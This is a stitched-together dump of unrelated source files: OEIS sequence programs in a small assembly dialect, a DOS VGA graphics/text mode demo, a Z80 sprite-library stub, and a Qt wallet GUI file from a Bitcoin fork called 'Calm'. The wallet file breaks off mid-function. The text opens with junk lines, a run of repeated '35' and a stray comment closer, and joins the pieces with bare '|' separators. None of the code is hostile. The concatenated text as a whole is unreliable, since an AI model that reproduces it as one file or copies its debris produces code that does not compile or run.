35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
; A262616: Triangle read by rows: T(n,k) = 4^(n-k), n>=0, 0<=k<=n.
; 1,4,1,16,4,1,64,16,4,1,256,64,16,4,1,1024,256,64,16,4,1,4096,1024,256,64,16,4,1,16384,4096,1024,256,64,16,4,1,65536,16384,4096,1024,256,64,16,4,1,262144,65536,16384,4096,1024,256,64,16,4,1,1048576,262144,65536,16384,4096,1024,256,64,16,4,1,4194304,1048576,262144,65536,16384,4096,1024,256,64,16,4,1,16777216,4194304,1048576,262144,65536,16384,4096,1024,256,64,16,4,1,67108864,16777216,4194304,1048576,262144,65536,16384,4096,1024
seq $0,212012 ; Triangle read by rows in which row n lists the number of states of the subshells of the n-th shell of the nuclear shell model ordered by energy level in increasing order.
mov $1,2
pow $1,$0
div $1,4
mov $0,$1
|
global start
%include 'common.inc'
section code
start:
mov ax, data
mov ds, ax
SET_VIDEO_MODE MODE_V640x350x16
; Colored pattern
cld
mov ax, VGA_VIDEO_SEGMENT
mov es, ax
mov ah, 3 ; initial pattern
mov cx, 4 ; number of planes
WITH_PORT SC, SC_MAP_MASK
.FillBitMap:
mov al, 10h
shr al, cl ; generate map mask for this plane
out dx, al ; set map mask for this plane
xor di, di
mov al, ah
push cx
mov cx, 8000h ; 32K words
rep stosw
pop cx
times 2 shl ah, 2
loop .FillBitMap
; Show message
SHOW_MESSAGE data, GStrikeAnyKeyMsg0
WAIT_FOR_KEYPRESS
; save 8k of plane 2 that'll be used by the font
SET_GC GC_READ_MAP, 2
xor si, si
MEMCPY data, Plane2Save, VGA_VIDEO_SEGMENT, si, Plane2Save.Size
; Switch to text mode preserving video memory
SET_VIDEO_MODE (MODE_T80x50 | 080h)
;save the text mode bitmap
xor si, si
MEMCPY data, CharAttSave, TEXT_SEGMENT, si, TEXT_BUFFER_SIZE
; fill text mode screen with dots and show message
xor di, di
MEMSET_W TEXT_SEGMENT, di, (7 << 8)|'.', TEXT_BUFFER_SIZE
SHOW_MESSAGE data, TStrikeAnyKeyMsg
WAIT_FOR_KEYPRESS
; restore text mode screen
xor di, di
MEMCPY TEXT_SEGMENT, di, data, CharAttSave, TEXT_BUFFER_SIZE
; Return to mode 10h without clearing display memory.
SET_VIDEO_MODE (MODE_V640x350x16 | 080h)
; Restore the portion of plane 2 that was wiped out by the font.
SET_SC SC_MAP_MASK, 4
xor di, di
MEMCPY VGA_VIDEO_SEGMENT, di, data, Plane2Save, Plane2Save.Size
; show message and exit
SHOW_MESSAGE data, GStrikeAnyKeyMsg1
WAIT_FOR_KEYPRESS
SET_VIDEO_MODE MODE_T80x50
EXIT 0
section data
GStrikeAnyKeyMsg0 db 0dh, 0ah, 'Graphics mode', 0dh, 0ah
db 'Strike any key to continue...', 0dh, 0ah, '$'
GStrikeAnyKeyMsg1 db 0dh, 0ah, 'Graphics mode again', 0dh, 0ah
db 'Strike any key to continue...', 0dh, 0ah, '$'
TStrikeAnyKeyMsg db 0dh, 0ah, 'Text mode', 0dh, 0ah
db 'Strike any key to continue...', 0dh, 0ah,'$'
Plane2Save resb 2000h
Plane2Save.Size equ $-Plane2Save
TEXT_BUFFER_SIZE equ 80 * 50
CharAttSave resb TEXT_BUFFER_SIZE
CharAttSave.Size equ $-CharAttSave
section stack stack
resb 256 |
; A077450: Continued fraction expansion of (29+sqrt(145))/12.
; 3,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1,1,2,2,1,1
lpb $0
sub $2,1
add $0,$2
mod $0,5
lpe
mov $0,$2
add $0,3
|
; uint sp1_AddColSpr(struct sp1_ss *s, uchar type, int graphic, uchar plane)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC sp1_AddColSpr
EXTERN asm_sp1_AddColSpr
sp1_AddColSpr:
pop af
pop hl
ld h,l
pop bc
pop de
ld l,e
pop de
pop ix
push hl
push hl
push de
push bc
push hl
push af
jp asm_sp1_AddColSpr
|
; A317323: Multiples of 23 and odd numbers interleaved.
; 0,1,23,3,46,5,69,7,92,9,115,11,138,13,161,15,184,17,207,19,230,21,253,23,276,25,299,27,322,29,345,31,368,33,391,35,414,37,437,39,460,41,483,43,506,45,529,47,552,49,575,51,598,53,621,55,644,57,667,59,690,61,713,63,736,65,759,67,782,69,805,71,828,73,851,75,874,77,897,79,920,81,943,83,966,85,989,87,1012,89,1035,91,1058,93,1081,95,1104,97,1127,99,1150,101,1173,103,1196,105,1219,107,1242,109,1265,111,1288,113,1311,115,1334,117,1357,119,1380,121,1403,123,1426,125,1449,127,1472,129,1495,131,1518,133,1541,135,1564,137,1587,139,1610,141,1633,143,1656,145,1679,147,1702,149,1725,151,1748,153,1771,155,1794,157,1817,159,1840,161,1863,163,1886,165,1909,167,1932,169,1955,171,1978,173,2001,175,2024,177,2047,179,2070,181,2093,183,2116,185,2139,187,2162,189,2185,191,2208,193,2231,195,2254,197,2277,199,2300,201,2323,203,2346,205,2369,207,2392,209,2415,211,2438,213,2461,215,2484,217,2507,219,2530,221,2553,223,2576,225,2599,227,2622,229,2645,231,2668,233,2691,235,2714,237,2737,239,2760,241,2783,243,2806,245,2829,247,2852,249
mov $2,$0
mov $3,$0
add $0,1
mod $0,2
lpb $0
sub $0,1
mov $1,$2
mul $1,42
div $1,4
lpe
add $1,$3
|
// Copyright (c) 2011-2013 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <QApplication>
#include "bitcoingui.h"
#include "transactiontablemodel.h"
#include "optionsdialog.h"
#include "aboutdialog.h"
#include "clientmodel.h"
#include "walletmodel.h"
#include "walletframe.h"
#include "optionsmodel.h"
#include "transactiondescdialog.h"
#include "bitcoinunits.h"
#include "guiconstants.h"
#include "notificator.h"
#include "guiutil.h"
#include "rpcconsole.h"
#include "ui_interface.h"
#include "wallet.h"
#include "init.h"
#ifdef Q_OS_MAC
#include "macdockiconhandler.h"
#endif
#include <QMenuBar>
#include <QMenu>
#include <QIcon>
#include <QVBoxLayout>
#include <QToolBar>
#include <QStatusBar>
#include <QLabel>
#include <QMessageBox>
#include <QProgressBar>
#include <QStackedWidget>
#include <QDateTime>
#include <QMovie>
#include <QTimer>
#include <QDragEnterEvent>
#if QT_VERSION < 0x050000
#include <QUrl>
#endif
#include <QMimeData>
#include <QStyle>
#include <QSettings>
#include <QDesktopWidget>
#include <QListWidget>
#include <iostream>
const QString BitcoinGUI::DEFAULT_WALLET = "~Default";
BitcoinGUI::BitcoinGUI(QWidget *parent) :
QMainWindow(parent),
clientModel(0),
encryptWalletAction(0),
changePassphraseAction(0),
aboutQtAction(0),
trayIcon(0),
notificator(0),
rpcConsole(0),
prevBlocks(0)
{
restoreWindowGeometry();
setWindowTitle(tr("Calm") + " - " + tr("Wallet"));
#ifndef Q_OS_MAC
QApplication::setWindowIcon(QIcon(":icons/bitcoin"));
setWindowIcon(QIcon(":icons/bitcoin"));
#else
setUnifiedTitleAndToolBarOnMac(true);
QApplication::setAttribute(Qt::AA_DontShowIconsInMenus);
#endif
// Create wallet frame and make it the central widget
walletFrame = new WalletFrame(this);
setCentralWidget(walletFrame);
// Accept D&D of URIs
setAcceptDrops(true);
// Create actions for the toolbar, menu bar and tray/dock icon
// Needs walletFrame to be initialized
createActions();
// Create application menu bar
createMenuBar();
// Create the toolbars
createToolBars();
// Create system tray icon and notification
createTrayIcon();
// Create status bar
statusBar();
// Status bar notification icons
QFrame *frameBlocks = new QFrame();
frameBlocks->setContentsMargins(0,0,0,0);
frameBlocks->setMinimumWidth(56);
frameBlocks->setMaximumWidth(56);
QHBoxLayout *frameBlocksLayout = new QHBoxLayout(frameBlocks);
frameBlocksLayout->setContentsMargins(3,0,3,0);
frameBlocksLayout->setSpacing(3);
labelEncryptionIcon = new QLabel();
labelConnectionsIcon = new QLabel();
labelBlocksIcon = new QLabel();
frameBlocksLayout->addStretch();
frameBlocksLayout->addWidget(labelEncryptionIcon);
frameBlocksLayout->addStretch();
frameBlocksLayout->addWidget(labelConnectionsIcon);
frameBlocksLayout->addStretch();
frameBlocksLayout->addWidget(labelBlocksIcon);
frameBlocksLayout->addStretch();
// Progress bar and label for blocks download
progressBarLabel = new QLabel();
progressBarLabel->setVisible(false);
progressBar = new QProgressBar();
progressBar->setAlignment(Qt::AlignCenter);
progressBar->setVisible(false);
// Override style sheet for progress bar for styles that have a segmented progress bar,
// as they make the text unreadable (workaround for issue #1071)
// See https://qt-project.org/doc/qt-4.8/gallery.html
QString curStyle = QApplication::style()->metaObject()->className();
if(curStyle == "QWindowsStyle" || curStyle == "QWindowsXPStyle")
{
progressBar->setStyleSheet("QProgressBar { background-color: #e8e8e8; border: 1px solid grey; border-radius: 7px; padding: 1px; text-align: center; } QProgressBar::chunk { background: QLinearGradient(x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #FF8000, stop: 1 orange); border-radius: 7px; margin: 0px; }");
}
statusBar()->addWidget(progressBarLabel);
statusBar()->addWidget(progressBar);
statusBar()->addPermanentWidget(frameBlocks);
syncIconMovie = new QMovie(":/movies/update_spinner", "mng", this);
rpcConsole = new RPCConsole(this);
connect(openRPCConsoleAction, SIGNAL(triggered()), rpcConsole, SLOT(show()));
// prevents an oben debug window from becoming stuck/unusable on client shutdown
connect(quitAction, SIGNAL(triggered()), rpcConsole, SLOT(hide()));
// Install event filter to be able to catch status tip events (QEvent::StatusTip)
this->installEventFilter(this);
// Initially wallet actions should be disabled
setWalletActionsEnabled(false);
}
BitcoinGUI::~BitcoinGUI()
{
saveWindowGeometry();
if(trayIcon) // Hide tray icon, as deleting will let it linger until quit (on Ubuntu)
trayIcon->hide();
#ifdef Q_OS_MAC
delete appMenuBar;
MacDockIconHandler::instance()->setMainWindow(NULL);
#endif
}
void BitcoinGUI::createActions()
{
QActionGroup *tabGroup = new QActionGroup(this);
overviewAction = new QAction(QIcon(":/icons/overview"), tr("&Overview"), this);
overviewAction->setStatusTip(tr("Show general overview of wallet"));
overviewAction->setToolTip(overviewAction->statusTip());
overviewAction->setCheckable(true);
overviewAction->setShortcut(QKeySequence(Qt::ALT + Qt::Key_1));
tabGroup->addAction(overviewAction);
sendCoinsAction = new QAction(QIcon(":/icons/send"), tr("&Send"), this);
sendCoinsAction->setStatusTip(tr("Send coins to a Calm address"));
sendCoinsAction->setToolTip(sendCoinsAction->statusTip());
sendCoinsAction->setCheckable(true);
sendCoinsAction->setShortcut(QKeySequence(Qt::ALT + Qt::Key_2));
tabGroup->addAction(sendCoinsAction);
receiveCoinsAction = new QAction(QIcon(":/icons/receiving_addresses"), tr("&Receive"), this);
receiveCoinsAction->setStatusTip(tr("Show the list of addresses for receiving payments"));
receiveCoinsAction->setToolTip(receiveCoinsAction->statusTip());
receiveCoinsAction->setCheckable(true);
receiveCoinsAction->setShortcut(QKeySequence(Qt::ALT + Qt::Key_3));
tabGroup->addAction(receiveCoinsAction);
historyAction = new QAction(QIcon(":/icons/history"), tr("&Transactions"), this);
historyAction->setStatusTip(tr("Browse transaction history"));
historyAction->setToolTip(historyAction->statusTip());
historyAction->setCheckable(true);
historyAction->setShortcut(QKeySequence(Qt::ALT + Qt::Key_4));
tabGroup->addAction(historyAction);
addressBookAction = new QAction(QIcon(":/icons/address-book"), tr("&Addresses"), this);
addressBookAction->setStatusTip(tr("Edit the list of stored addresses and labels"));
addressBookAction->setToolTip(addressBookAction->statusTip());
addressBookAction->setCheckable(true);
addressBookAction->setShortcut(QKeySequence(Qt::ALT + Qt::Key_5));
tabGroup->addAction(addressBookAction);
connect(overviewAction, SIGNAL(triggered()), this, SLOT(showNormalIfMinimized()));
connect(overviewAction, SIGNAL(triggered()), this, SLOT(gotoOverviewPage()));
connect(sendCoinsAction, SIGNAL(triggered()), this, SLOT(showNormalIfMinimized()));
connect(sendCoinsAction, SIGNAL(triggered()), this, SLOT(gotoSendCoinsPage()));
connect(receiveCoinsAction, SIGNAL(triggered()), this, SLOT(showNormalIfMinimized()));
connect(receiveCoinsAction, SIGNAL(triggered()), this, SLOT(gotoReceiveCoinsPage()));
connect(historyAction, SIGNAL(triggered()), this, SLOT(showNormalIfMinimized()));
connect(historyAction, SIGNAL(triggered()), this, SLOT(gotoHistoryPage()));
connect(addressBookAction, SIGNAL(triggered()), this, SLOT(showNormalIfMinimized()));
connect(addressBookAction, SIGNAL(triggered()), this, SLOT(gotoAddressBookPage()));
quitAction = new QAction(QIcon(":/icons/quit"), tr("E&xit"), this);
quitAction->setStatusTip(tr("Quit application"));
quitAction->setShortcut(QKeySequence(Qt::CTRL + Qt::Key_Q));
quitAction->setMenuRole(QAction::QuitRole);
aboutAction = new QAction(QIcon(":/icons/bitcoin"), tr("&About Calm"), this);
aboutAction->setStatusTip(tr("Show information about Calm"));
aboutAction->setMenuRole(QAction::AboutRole);
aboutQtAction = new QAction(QIcon(":/trolltech/qmessagebox/images/qtlogo-64.png"), tr("About &Qt"), this);
aboutQtAction->setStatusTip(tr("Show information about Qt"));
aboutQtAction->setMenuRole(QAction::AboutQtRole);
optionsAction = new QAction(QIcon(":/icons/options"), tr("&Options..."), this);
optionsAction->setStatusTip(tr("Modify configuration options for Calm"));
optionsAction->setMenuRole(QAction::PreferencesRole);
toggleHideAction = new QAction(QIcon(":/icons/bitcoin"), tr("&Show / Hide"), this);
toggleHideAction->setStatusTip(tr("Show or hide the main Window"));
encryptWalletAction = new QAction(QIcon(":/icons/lock_closed"), tr("&Encrypt Wallet..."), this);
encryptWalletAction->setStatusTip(tr("Encrypt the private keys that belong to your wallet"));
encryptWalletAction->setCheckable(true);
backupWalletAction = new QAction(QIcon(":/icons/filesave"), tr("&Backup Wallet..."), this);
backupWalletAction->setStatusTip(tr("Backup wallet to another location"));
changePassphraseAction = new QAction(QIcon(":/icons/key"), tr("&Change Passphrase..."), this);
changePassphraseAction->setStatusTip(tr("Change the passphrase used for wallet encryption"));
signMessageAction = new QAction(QIcon(":/icons/edit"), tr("Sign &message..."), this);
signMessageAction->setStatusTip(tr("Sign messages with your Calm addresses to prove you own them"));
verifyMessageAction = new QAction(QIcon(":/icons/transaction_0"), tr("&Verify message..."), this);
verifyMessageAction->setStatusTip(tr("Verify messages to ensure they were signed with specified Calm addresses"));
openRPCConsoleAction = new QAction(QIcon(":/icons/debugwindow"), tr("&Debug window"), this);
openRPCConsoleAction->setStatusTip(tr("Open debugging and diagnostic console"));
connect(quitAction, SIGNAL(triggered()), qApp, SLOT(quit()));
connect(aboutAction, SIGNAL(triggered()), this, SLOT(aboutClicked()));
connect(aboutQtAction, SIGNAL(triggered()), qApp, SLOT(aboutQt()));
connect(optionsAction, SIGNAL(triggered()), this, SLOT(optionsClicked()));
connect(toggleHideAction, SIGNAL(triggered()), this, SLOT(toggleHidden()));
connect(encryptWalletAction, SIGNAL(triggered(bool)), walletFrame, SLOT(encryptWallet(bool)));
connect(backupWalletAction, SIGNAL(triggered()), walletFrame, SLOT(backupWallet()));
connect(changePassphraseAction, SIGNAL(triggered()), walletFrame, SLOT(changePassphrase()));
connect(signMessageAction, SIGNAL(triggered()), this, SLOT(gotoSignMessageTab()));
connect(verifyMessageAction, SIGNAL(triggered()), this, SLOT(gotoVerifyMessageTab()));
}
void BitcoinGUI::createMenuBar()
{
#ifdef Q_OS_MAC
// Create a decoupled menu bar on Mac which stays even if the window is closed
appMenuBar = new QMenuBar();
#else
// Get the main window's menu bar on other platforms
appMenuBar = menuBar();
#endif
// Configure the menus
QMenu *file = appMenuBar->addMenu(tr("&File"));
file->addAction(backupWalletAction);
file->addAction(signMessageAction);
file->addAction(verifyMessageAction);
file->addSeparator();
file->addAction(quitAction);
QMenu *settings = appMenuBar->addMenu(tr("&Settings"));
settings->addAction(encryptWalletAction);
settings->addAction(changePassphraseAction);
settings->addSeparator();
settings->addAction(optionsAction);
QMenu *help = appMenuBar->addMenu(tr("&Help"));
help->addAction(openRPCConsoleAction);
help->addSeparator();
help->addAction(aboutAction);
help->addAction(aboutQtAction);
}
void BitcoinGUI::createToolBars()
{
QToolBar *toolbar = addToolBar(tr("Tabs toolbar"));
toolbar->setToolButtonStyle(Qt::ToolButtonTextBesideIcon);
toolbar->addAction(overviewAction);
toolbar->addAction(sendCoinsAction);
toolbar->addAction(receiveCoinsAction);
toolbar->addAction(historyAction);
toolbar->addAction(addressBookAction);
}
void BitcoinGUI::setClientModel(ClientModel *clientModel)
{
this->clientModel = clientModel;
if(clientModel)
{
// Replace some strings and icons, when using the testnet
if(clientModel->isTestNet())
{
setWindowTitle(windowTitle() + QString(" ") + tr("[testnet]"));
#ifndef Q_OS_MAC
QApplication::setWindowIcon(QIcon(":icons/bitcoin_testnet"));
setWindowIcon(QIcon(":icons/bitcoin_testnet"));
#else
MacDockIconHandler::instance()->setIcon(QIcon(":icons/bitcoin_testnet"));
#endif
if(trayIcon)
{
// Just attach " [testnet]" to the existing tooltip
trayIcon->setToolTip(trayIcon->toolTip() + QString(" ") + tr("[testnet]"));
trayIcon->setIcon(QIcon(":/icons/toolbar_testnet"));
}
toggleHideAction->setIcon(QIcon(":/icons/toolbar_testnet"));
aboutAction->setIcon(QIcon(":/icons/toolbar_testnet"));
}
// Create system tray menu (or setup the dock menu) that late to prevent users from calling actions,
// while the client has not yet fully loaded
createTrayIconMenu();
// Keep up to date with client
setNumConnections(clientModel->getNumConnections());
connect(clientModel, SIGNAL(numConnectionsChanged(int)), this, SLOT(setNumConnections(int)));
setNumBlocks(clientModel->getNumBlocks(), clientModel->getNumBlocksOfPeers());
connect(clientModel, SIGNAL(numBlocksChanged(int,int)), this, SLOT(setNumBlocks(int,int)));
// Receive and report messages from network/worker thread
connect(clientModel, SIGNAL(message(QString,QString,unsigned int)), this, SLOT(message(QString,QString,unsigned int)));
rpcConsole->setClientModel(clientModel);
walletFrame->setClientModel(clientModel);
}
}
bool BitcoinGUI::addWallet(const QString& name, WalletModel *walletModel)
{
setWalletActionsEnabled(true);
return walletFrame->addWallet(name, walletModel);
}
bool BitcoinGUI::setCurrentWallet(const QString& name)
{
return walletFrame->setCurrentWallet(name);
}
void BitcoinGUI::removeAllWallets()
{
setWalletActionsEnabled(false);
walletFrame->removeAllWallets();
}
void BitcoinGUI::setWalletActionsEnabled(bool enabled)
{
overviewAction->setEnabled(enabled);
sendCoinsAction->setEnabled(enabled);
receiveCoinsAction->setEnabled(enabled);
historyAction->setEnabled(enabled);
encryptWalletAction->setEnabled(enabled);
backupWalletAction->setEnabled(enabled);
changePassphraseAction->setEnabled(enabled);
signMessageAction->setEnabled(enabled);
verifyMessageAction->setEnabled(enabled);
addressBookAction->setEnabled(enabled);
}
void BitcoinGUI::createTrayIcon()
{
#ifndef Q_OS_MAC
trayIcon = new QSystemTrayIcon(this);
trayIcon->setToolTip(tr("Calm client"));
trayIcon->setIcon(QIcon(":/icons/toolbar"));
trayIcon->show();
#endif
notificator = new Notificator(QApplication::applicationName(), trayIcon);
}
void BitcoinGUI::createTrayIconMenu()
{
QMenu *trayIconMenu;
#ifndef Q_OS_MAC
// return if trayIcon is unset (only on non-Mac OSes)
if (!trayIcon)
return;
trayIconMenu = new QMenu(this);
trayIcon->setContextMenu(trayIconMenu);
connect(trayIcon, SIGNAL(activated(QSystemTrayIcon::ActivationReason)),
this, SLOT(trayIconActivated(QSystemTrayIcon::ActivationReason)));
#else
// Note: On Mac, the dock icon is used to provide the tray's functionality.
MacDockIconHandler *dockIconHandler = MacDockIconHandler::instance();
dockIconHandler->setMainWindow((QMainWindow *)this);
trayIconMenu = dockIconHandler->dockMenu();
#endif
// Configuration of the tray icon (or dock icon) icon menu
trayIconMenu->addAction(toggleHideAction);
trayIconMenu->addSeparator();
trayIconMenu->addAction(sendCoinsAction);
trayIconMenu->addAction(receiveCoinsAction);
trayIconMenu->addSeparator();
trayIconMenu->addAction(signMessageAction);
trayIconMenu->addAction(verifyMessageAction);
trayIconMenu->addSeparator();
trayIconMenu->addAction(optionsAction);
trayIconMenu->addAction(openRPCConsoleAction);
#ifndef Q_OS_MAC // This is built-in on Mac
trayIconMenu->addSeparator();
trayIconMenu->addAction(quitAction);
#endif
}
#ifndef Q_OS_MAC
void BitcoinGUI::trayIconActivated(QSystemTrayIcon::ActivationReason reason)
{
if(reason == QSystemTrayIcon::Trigger)
{
// Click on system tray icon triggers show/hide of the main window
toggleHideAction->trigger();
}
}
#endif
void BitcoinGUI::saveWindowGeometry()
{
QSettings settings;
settings.setValue("nWindowPos", pos());
settings.setValue("nWindowSize", size());
}
void BitcoinGUI::restoreWindowGeometry()
{
QSettings settings;
QPoint pos = settings.value("nWindowPos").toPoint();
QSize size = settings.value("nWindowSize", QSize(850, 550)).toSize();
if (!pos.x() && !pos.y())
{
QRect screen = QApplication::desktop()->screenGeometry();
pos.setX((screen.width()-size.width())/2);
pos.setY((screen.height()-size.height())/2);
}
resize(size);
move(pos);
}
void BitcoinGUI::optionsClicked()
{
if(!clientModel || !clientModel->getOptionsModel())
return;
OptionsDialog dlg;
dlg.setModel(clientModel->getOptionsModel());
dlg.exec();
}
void BitcoinGUI::aboutClicked()
{
AboutDialog dlg;
dlg.setModel(clientModel);
dlg.exec();
}
void BitcoinGUI::gotoOverviewPage()
{
if (walletFrame) walletFrame->gotoOverviewPage();
}
void BitcoinGUI::gotoHistoryPage()
{
if (walletFrame) walletFrame->gotoHistoryPage();
}
void BitcoinGUI::gotoAddressBookPage()
{
if (walletFrame) walletFrame->gotoAddressBookPage();
}
void BitcoinGUI::gotoReceiveCoinsPage()
{
if (walletFrame) walletFrame->gotoReceiveCoinsPage();
}
void BitcoinGUI::gotoSendCoinsPage(QString addr)
{
if (walletFrame) walletFrame->gotoSendCoinsPage(addr);
}
void BitcoinGUI::gotoSignMessageTab(QString addr)
{
if (walletFrame) walletFrame->gotoSignMessageTab(addr);
}
void BitcoinGUI::gotoVerifyMessageTab(QString addr)
{
if (walletFrame) walletFrame->gotoVerifyMessageTab(addr);
}
void BitcoinGUI::setNumConnections(int count)
{
QString icon;
switch(count)
{
case 0: icon = ":/icons/connect_0"; break;
case 1: case 2: case 3: icon = ":/icons/connect_1"; break;
case 4: case 5: case 6: icon = ":/icons/connect_2"; break;
case 7: case 8: case 9: icon = ":/icons/connect_3"; break;
default: icon = ":/icons/connect_4"; break;
}
labelConnectionsIcon->setPixmap(QIcon(icon).pixmap(STATUSBAR_ICONSIZE,STATUSBAR_ICONSIZE));
labelConnectionsIcon->setToolTip(tr("%n active connection(s) to Calm network", "", count));
}
void BitcoinGUI::setNumBlocks(int count, int nTotalBlocks)
{
// Prevent orphan statusbar messages (e.g. hover Quit in main menu, wait until chain-sync starts -> garbelled text)
statusBar()->clearMessage();
// Acquire current block source
enum BlockSource blockSource = clientModel->getBlockSource();
switch (blockSource) {
case BLOCK_SOURCE_NETWORK:
progressBarLabel->setText(tr("Synchronizing with network..."));
break;
case BLOCK_SOURCE_DISK:
progressBarLabel->setText(tr("Importing blocks from disk..."));
break;
case BLOCK_SOURCE_REINDEX:
progressBarLabel->setText(tr("Reindexing blocks on disk..."));
break;
case BLOCK_SOURCE_NONE:
// Case: not Importing, not Reindexing and no network connection
progressBarLabel->setText(tr("No block source available..."));
break;
}
QString tooltip;
QDateTime lastBlockDate = clientModel->getLastBlockDate();
QDateTime currentDate = QDateTime::currentDateTime();
int secs = lastBlockDate.secsTo(currentDate);
if(count < nTotalBlocks)
{
tooltip = tr("Processed %1 of %2 (estimated) blocks of transaction history.").arg(count).arg(nTotalBlocks);
}
else
{
tooltip = tr("Processed %1 blocks of transaction history.").arg(count);
}
// Set icon state: spinning if catching up, tick otherwise
if(secs < 90*60 && count >= nTotalBlocks)
{
tooltip = tr("Up to date") + QString(".<br>") + tooltip;
labelBlocksIcon->setPixmap(QIcon(":/icons/synced").pixmap(STATUSBAR_ICONSIZE, STATUSBAR_ICONSIZE));
walletFrame->showOutOfSyncWarning(false);
progressBarLabel->setVisible(false);
progressBar->setVisible(false);
}
else
{
// Represent time from last generated block in human readable text
QString timeBehindText;
if(secs < 48*60*60)
{
timeBehindText = tr("%n hour(s)","",secs/(60*60));
}
else if(secs < 14*24*60*60)
{
timeBehindText = tr("%n day(s)","",secs/(24*60*60));
}
else
{
timeBehindText = tr("%n week(s)","",secs/(7*24*60*60));
}
progressBarLabel->setVisible(true);
progressBar->setFormat(tr("%1 behind").arg(timeBehindText));
progressBar->setMaximum(1000000000);
progressBar->setValue(clientModel->getVerificationProgress() * 1000000000.0 + 0.5);
progressBar->setVisible(true);
tooltip = tr("Catching up...") + QString("<br>") + tooltip;
labelBlocksIcon->setMovie(syncIconMovie);
if(count != prevBlocks)
syncIconMovie->jumpToNextFrame();
prevBlocks = count;
walletFrame->showOutOfSyncWarning(true);
tooltip += QString("<br>");
tooltip += tr("Last received block was generated %1 ago.").arg(timeBehindText);
tooltip += QString("<br>");
tooltip += tr("Transactions after this will not yet be visible.");
}
// Don't word-wrap this (fixed-width) tooltip
tooltip = QString("<nobr>") + tooltip + QString("</nobr>");
labelBlocksIcon->setToolTip(tooltip);
progressBarLabel->setToolTip(tooltip);
progressBar->setToolTip(tooltip);
}
void BitcoinGUI::message(const QString &title, const QString &message, unsigned int style, bool *ret)
{
QString strTitle = tr("Calm"); // default title
// Default to information icon
int nMBoxIcon = QMessageBox::Information;
int nNotifyIcon = Notificator::Information;
QString msgType;
// Prefer supplied title over style based title
if (!title.isEmpty()) {
msgType = title;
}
else {
switch (style) {
case CClientUIInterface::MSG_ERROR:
msgType = tr("Error");
break;
case CClientUIInterface::MSG_WARNING:
msgType = tr("Warning");
break;
case CClientUIInterface::MSG_INFORMATION:
msgType = tr("Information");
break;
default:
break;
}
}
// Append title to "Bitcoin - "
if (!msgType.isEmpty())
strTitle += " - " + msgType;
// Check for error/warning icon
if (style & CClientUIInterface::ICON_ERROR) {
nMBoxIcon = QMessageBox::Critical;
nNotifyIcon = Notificator::Critical;
}
else if (style & CClientUIInterface::ICON_WARNING) {
nMBoxIcon = QMessageBox::Warning;
nNotifyIcon = Notificator::Warning;
}
// Display message
if (style & CClientUIInterface::MODAL) {
// Check for buttons, use OK as default, if none was supplied
QMessageBox::StandardButton buttons;
if (!(buttons = (QMessageBox::StandardButton)(style & CClientUIInterface::BTN_MASK)))
buttons = QMessageBox::Ok;
// Ensure we get users attention
showNormalIfMinimized();
QMessageBox mBox((QMessageBox::Icon)nMBoxIcon, strTitle, message, buttons, this);
int r = mBox.exec();
if (ret != NULL)
*ret = r == QMessageBox::Ok;
}
else
notificator->notify((Notificator::Class)nNotifyIcon, strTitle, message);
}
void BitcoinGUI::changeEvent(QEvent *e)
{
QMainWindow::changeEvent(e);
#ifndef Q_OS_MAC // Ignored on Mac
if(e->type() == QEvent::WindowStateChange)
{
if(clientModel && clientModel->getOptionsModel()->getMinimizeToTray())
{
QWindowStateChangeEvent *wsevt = static_cast<QWindowStateChangeEvent*>(e);
if(!(wsevt->oldState() & Qt::WindowMinimized) && isMinimized())
{
QTimer::singleShot(0, this, SLOT(hide()));
e->ignore();
}
}
}
#endif
}
void BitcoinGUI::closeEvent(QCloseEvent *event)
{
if(clientModel)
{
#ifndef Q_OS_MAC // Ignored on Mac
if(!clientModel->getOptionsModel()->getMinimizeToTray() &&
!clientModel->getOptionsModel()->getMinimizeOnClose())
{
QApplication::quit();
}
#endif
}
QMainWindow::closeEvent(event);
}
void BitcoinGUI::askFee(qint64 nFeeRequired, bool *payFee)
{
QString strMessage = tr("This transaction is over the size limit. You can still send it for a fee of %1, "
"which goes to the nodes that process your transaction and helps to support the network. "
"Do you want to pay the fee?").arg(BitcoinUnits::formatWithUnit(BitcoinUnits::BTC, nFeeRequired));
QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm transaction fee"), strMessage,
QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Yes);
*payFee = (retval == QMessageBox::Yes);
}
void BitcoinGUI::incomingTransaction(const QString& date, int unit, qint64 amount, const QString& type, const QString& address)
{
// On new transaction, make an info balloon
message((amount)<0 ? tr("Sent transaction") : tr("Incoming transaction"),
tr("Date: %1\n"
"Amount: %2\n"
"Type: %3\n"
"Address: %4\n")
.arg(date)
.arg(BitcoinUnits::formatWithUnit(unit, amount, true))
.arg(type)
.arg(address), CClientUIInterface::MSG_INFORMATION);
}
void BitcoinGUI::dragEnterEvent(QDragEnterEvent *event)
{
// Accept only URIs
if(event->mimeData()->hasUrls())
event->acceptProposedAction();
}
void BitcoinGUI::dropEvent(QDropEvent *event)
{
if(event->mimeData()->hasUrls())
{
int nValidUrisFound = 0;
QList<QUrl> uris = event->mimeData()->urls();
foreach(const QUrl &uri, uris)
{
if (walletFrame->handleURI(uri.toString()))
nValidUrisFound++;
}
// if valid URIs were found
if (nValidUrisFound)
walletFrame->gotoSendCoinsPage();
else
